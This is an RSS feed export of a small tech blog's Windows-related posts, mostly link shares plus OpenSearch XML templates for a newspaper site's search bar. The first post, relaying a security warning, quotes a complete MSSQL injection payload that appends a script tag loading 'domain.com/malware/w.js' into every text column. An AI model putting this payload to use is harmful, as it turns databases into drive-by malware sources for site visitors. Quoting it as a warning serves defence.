ourlil.com » Windoze http://OurLil.com A web site for tutti noi (all of us!) Mon, 26 Jul 2010 21:39:40 +0000 en hourly 1 http://wordpress.org/?v=3.0 TrustedSource – Blog – New SQL Injection Attack Infecting Machines http://OurLil.com/blog/trustedsource-blog-new-sql-injection-attack-infecting-machines/182/ http://OurLil.com/blog/trustedsource-blog-new-sql-injection-attack-infecting-machines/182/#comments Tue, 12 Aug 2008 20:32:31 +0000 webmaestro http://clay.freedomblogging.com/2008/08/12/trustedsource-blog-new-sql-injection-attack-infecting-machines/ Here’s a sample of the type of SQL Injection MSSQL (and possibly Sybase) databases may be subjected to:
DECLARE @T varchar(255), @C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name, b.name from sysobjects a, syscolumns b where a.id=b.id and a.xtype=’u’ and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(’update ['+@T+'] set ['+@C +']=['+@C+']+””></title><script src=”http://www.domain.com/malware/ w.js”></script><!–” where ‘+@C+’ not like ”%”></title><script src=”http://www.domain.com/malware/w.js “></script><!–”’)FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

 TrustedSource – Blog – New SQL Injection Attack Infecting Machines

]]> http://OurLil.com/blog/trustedsource-blog-new-sql-injection-attack-infecting-machines/182/feed/ 0 HOWTO Use Your Mac From Anywhere http://OurLil.com/blog/howto-use-your-mac-from-anywhere/79/ http://OurLil.com/blog/howto-use-your-mac-from-anywhere/79/#comments Tue, 30 Oct 2007 16:06:39 +0000 webmaestro http://OurLil.com/blog/howto-use-your-mac-from-anywhere/ HOWTO Use Your Mac From Anywhere
This guide demonstrates using SSH tunnels and VNC screen-sharing software to use your Mac from any PC over the Internet. It’s fast, secure, cross-platform, and can be done entirely with open source software.

]]> http://OurLil.com/blog/howto-use-your-mac-from-anywhere/79/feed/ 0 Yahoo! UI Library: Graded Browser Support http://OurLil.com/blog/yahoo-ui-library-graded-browser-support/70/ http://OurLil.com/blog/yahoo-ui-library-graded-browser-support/70/#comments Fri, 28 Sep 2007 17:31:04 +0000 webmaestro http://OurLil.com/blog/yahoo-ui-library-graded-browser-support/ Yahoo! UI Library: Graded Browser Support

A-Grade Browser Support is probably what we should adopt, as well.

]]> http://OurLil.com/blog/yahoo-ui-library-graded-browser-support/70/feed/ 0 amix.dk – Who are you? http://OurLil.com/blog/amixdk-who-are-you/67/ http://OurLil.com/blog/amixdk-who-are-you/67/#comments Wed, 26 Sep 2007 15:08:25 +0000 webmaestro http://OurLil.com/blog/amixdk-who-are-you/ amix.dk – Who are you?

I’m a Mac, but the Sun looks inviting…

]]> http://OurLil.com/blog/amixdk-who-are-you/67/feed/ 0 Planning to run Windows? Buy a Mac! http://OurLil.com/blog/planning-to-run-windows-buy-a-mac/63/ http://OurLil.com/blog/planning-to-run-windows-buy-a-mac/63/#comments Fri, 21 Sep 2007 14:23:48 +0000 webmaestro http://OurLil.com/blog/planning-to-run-windows-buy-a-mac/ Running Windows? Buy a Mac!

Here’s a funny article about a story comparing installing Windows on a Mac vs. on a Sony Vaio…

Wired Blogs: Gadget Lab

]]> http://OurLil.com/blog/planning-to-run-windows-buy-a-mac/63/feed/ 2 HFSExplorer – Browse Mac volumes from Windows http://OurLil.com/blog/hfsexplorer-browse-mac-volumes-from-windows/56/ http://OurLil.com/blog/hfsexplorer-browse-mac-volumes-from-windows/56/#comments Wed, 12 Sep 2007 16:03:20 +0000 webmaestro http://OurLil.com/blog/hfsexplorer-browse-mac-volumes-from-windows/ HFSExplorer

I haven’t tried it yet (haven’t needed it…), but it looks interesting.

]]> http://OurLil.com/blog/hfsexplorer-browse-mac-volumes-from-windows/56/feed/ 0 MS-DOS 5 Upgrade Video – CollegeHumor video http://OurLil.com/blog/ms-dos-5-upgrade-video-collegehumor-video/55/ http://OurLil.com/blog/ms-dos-5-upgrade-video-collegehumor-video/55/#comments Wed, 12 Sep 2007 15:21:12 +0000 webmaestro http://OurLil.com/blog/ms-dos-5-upgrade-video-collegehumor-video/ MS-DOS 5 Upgrade Video – CollegeHumor video

This is too much!!!

]]> http://OurLil.com/blog/ms-dos-5-upgrade-video-collegehumor-video/55/feed/ 0 Add Search Providers to Internet Explorer 7 & Firefox http://OurLil.com/blog/add-search-providers-to-internet-explorer-7/54/ http://OurLil.com/blog/add-search-providers-to-internet-explorer-7/54/#comments Tue, 11 Sep 2007 15:25:36 +0000 webmaestro http://OurLil.com/blog/add-search-providers-to-internet-explorer-7/

I believe that if we could arrange to have each of Freedom’s 7000 employees use as their browsers’ default, local news resource, the web search tool, it would have an impact on Freedom revenue. At the very least, we may want to consider making this one of the steps in setting up new workstations.

By following the directions on the following page, we can use the OCRegister.com Google ‘web’ search results page our default for searches from the IE7 search bar:

There are also instructions available to add them to the Mozilla Search Bar here:

Technorati’s OSD fileThat page has instructions indicating how to add a search engine plugin to your browser, and ‘advertise’ how to do it to the web browser, so our visitors & staff can add them to their browsers as well. Very Nifty!

Reference Material

Sample OSD Code

Add this to your page’s <head /> section:


<link
  rel="search"
  type="application/opensearchdescription+xml" href="http://OSD_DOMAIN_NAME/osdwebsearch.xml"
  title="OSD_SITE_TITLE - Web Search"
/>
<link
  rel="search"
  type="application/opensearchdescription+xml"
  href="http://OSD_DOMAIN_NAME/osdsitesearch.xml"
  title="OSD_SITE_TITLE - Site Search"
/>

Add the following two files to /web/onset/sites/[yoursitecode]/web/ (NOTE: Replace JDNews.com-ish stuff with relevant text!):

osdwebsearch.xml


<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
  <ShortName>OSD_TITLE - Web Search</ShortName>
  <Description>OSD_WEB_SEARCH_DESCRIPTION</Description>
  <Contact>OSD_EMAIL</Contact>
  <Url type="text/html"
       method="get"
       template="http://OSD_DOMAIN_NAME/OSD_PATH_TO_SEARCH_RESULTS/?q={searchTerms}&amp;fistype=web&amp;sourceid=opensearch">
  </Url>
  <LongName>OSD_WEB_LONG_TITLE - Web Search</LongName>

  <Image
       height="16"
       width="16"
       type="image/vnd.microsoft.icon">

http://OSD_FAVICON_PATH/favicon.ico

  </Image>
  <Attribution>
       OSD_COPYRIGHT_TEXT
  </Attribution>

  <AdultContent>false</AdultContent>
  <Language>en-us</Language>
  <OutputEncoding>UTF-8</OutputEncoding>
  <InputEncoding>UTF-8</InputEncoding>
</OpenSearchDescription>

osdsitesearch.xml


<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
  <ShortName>OSD_SITE_TITLE - Site Search</ShortName>
  <Description>OSD_SITE_SEARCH_DESCRIPTION</Description>
  <Contact>OSD_EMAIL</Contact>
  <Url type="text/html"
       method="get"
       template="http://OSD_DOMAIN_NAME/OSD_PATH_TO_SEARCH_RESULTS/?q={searchTerms}&amp;fistype=web&amp;sourceid=opensearch">
  </Url>
  <LongName>OSD_SITE_LONG_TITLE - Site Search</LongName>

  <Image
       height="16"
       width="16"
       type="image/vnd.microsoft.icon">

http://OSD_FAVICON_PATH/favicon.ico

  </Image>
  <Attribution>
       OSD_COPYRIGHT_TEXT
  </Attribution>

  <AdultContent>false</AdultContent>
  <Language>en-us</Language>
  <OutputEncoding>UTF-8</OutputEncoding>
  <InputEncoding>UTF-8</InputEncoding>
</OpenSearchDescription>

Functioning OSD Code (JDNews.com)

Add this to your page’s <head /> section:


<link
rel="search"
type="application/opensearchdescription+xml" href="http://www.jdnews.com/osdwebsearch.xml"
title="JDNews.com - Web Search"
/>
<link
rel="search"
type="application/opensearchdescription+xml"
href="http://www.jdnews.com/osdsitesearch.xml"
title="JDNews.com - Site Search"
/>

Add the following two files to /web/onset/sites/[yoursitecode]/web/ (NOTE: Replace JDNews.com-ish stuff with relevant text!):

osdwebsearch.xml


<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
  <ShortName>JDNews.com - Web Search</ShortName>
  <Description>Search Eastern NC's premiere Information Source.
       Covering Jacksonville.</Description>
  <Contact>support@freedom.com</Contact>
  <Url type="text/html"
       method="get"
       template="http://www.jdnews.com/search/?q={searchTerms}&amp;fistype=web&amp;sourceid=opensearch">
  </Url>
  <LongName>JDNews.com - Jacksonville Daily News - Web Search</LongName>

  <Image
       height="16"
       width="16"
       type="image/vnd.microsoft.icon">

http://www.jdnews.com/favicon.ico

  </Image>
  <Attribution>
       Copyright © 2007 Freedom ENC Communication, Inc.
       All Rights Reserved. Content may not be reproduced without
       written permission from FENC Communications.
  </Attribution>

  <AdultContent>false</AdultContent>
  <Language>en-us</Language>
  <OutputEncoding>UTF-8</OutputEncoding>
  <InputEncoding>UTF-8</InputEncoding>
</OpenSearchDescription>

osdsitesearch.xml


<?xml version="1.0" encoding="UTF-8"?>
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/">
  <ShortName>JDNews.com - Site Search</ShortName>
  <Description>Search Eastern NC's premiere Information Source.
       Covering Jacksonville.</Description>
  <Contact>support@freedom.com</Contact>
  <Url type="text/html"
       method="get"
       template="http://www.jdnews.com/search/?q={searchTerms}&amp;fistype=site&amp;sourceid=opensearch">
  </Url>
  <LongName>JDNews.com - Jacksonville Daily News - Site Search</LongName>

  <Image
       height="16"
       width="16"
       type="image/vnd.microsoft.icon">

http://www.jdnews.com/favicon.ico

  </Image>
  <Attribution>
       Copyright © 2007 Freedom ENC Communication, Inc.
       All Rights Reserved. Content may not be reproduced without
       written permission from FENC Communications.
  </Attribution>

  <AdultContent>false</AdultContent>
  <Language>en-us</Language>
  <OutputEncoding>UTF-8</OutputEncoding>
  <InputEncoding>UTF-8</InputEncoding>
</OpenSearchDescription>

That’s all! Wanna check it out?

  1. Launch Mozilla Firefox (tip? MSIE7 also supports OpenSearch)
  2. Go to JDNews.com
  3. Click on the down arrow in the ‘Search bar’ (the box/field adjacent to the Location/Address bar, not the Freedom Google bar in the web site)
    JDNews.com – Web Search
    Does a ‘Web’ search using JDNews.com’s Web Search – just like searching in the JDNews.com’s Google Bar with the (o) Web radio button checked
    JDNews.com – Site Search
    Does a ‘Site’ search of JDNews.com articles using JDNews.com’s Web Search – just like searching in the JDNews.com’s Google Bar with the (o) Site radio button checked
  4. You can add the JDNews.com search engine to your browser’s search bar tool by selecting ‘Add JDNews.com – Web Search’ (or ‘Site Search’)

I suspect it’d be in Freedom’s best interest to only provide [My-Domain].com – Web Search to our customers, to limit confusion. We may also want to modify the search results for searches coming from this box (e.g., to [Gasp!] remove or somehow adjust the sponsored results at the top–within contract of course!).

]]> http://OurLil.com/blog/add-search-providers-to-internet-explorer-7/54/feed/ 0 StorageMojo » Everything You Know About Disks Is Wrong http://OurLil.com/blog/storagemojo-%c2%bb-everything-you-know-about-disks-is-wrong/20/ http://OurLil.com/blog/storagemojo-%c2%bb-everything-you-know-about-disks-is-wrong/20/#comments Mon, 21 May 2007 18:47:23 +0000 webmaestro http://OurLil.com/blog/storagemojo-%c2%bb-everything-you-know-about-disks-is-wrong/ StorageMojo » Everything You Know About Disks Is Wrong
Everything You Know About Disks Is Wrong
February 20th, 2007 by Robin Harris in Enterprise, Clusters

Which do you believe?

* Costly FC and SCSI drives are more reliable than cheap SATA drives.
* RAID 5 is safe because the odds of two drives failing in the same RAID set are so low.
* After infant mortality, drives are highly reliable until they reach the end of their useful life.
* Vendor MTBF are a useful yardstick for comparing drives.

According the one of the “Best Paper” awards at FAST ‘07, none of these are backed by empirical evidence.

]]> http://OurLil.com/blog/storagemojo-%c2%bb-everything-you-know-about-disks-is-wrong/20/feed/ 0 Free Vista Drivers – RadarSync http://OurLil.com/blog/free-vista-drivers-radarsync/19/ http://OurLil.com/blog/free-vista-drivers-radarsync/19/#comments Mon, 21 May 2007 18:46:44 +0000 webmaestro http://OurLil.com/blog/free-vista-drivers-radarsync/ Free Vista Drivers – RadarSync
Don’t waste your time searching dozens of vendor websites every month for the driver updates you need. Just bookmark this page and come back whenever you need a new driver.

This FREE page lists the latest Windows Vista drivers and provides direct links to the files for downloads. We’re offering this as a free service to the community, to help you all get through this challenging period of Vista-transitioning.

I haven’t used the site, but thought it might be useful to someone here…

]]> http://OurLil.com/blog/free-vista-drivers-radarsync/19/feed/ 1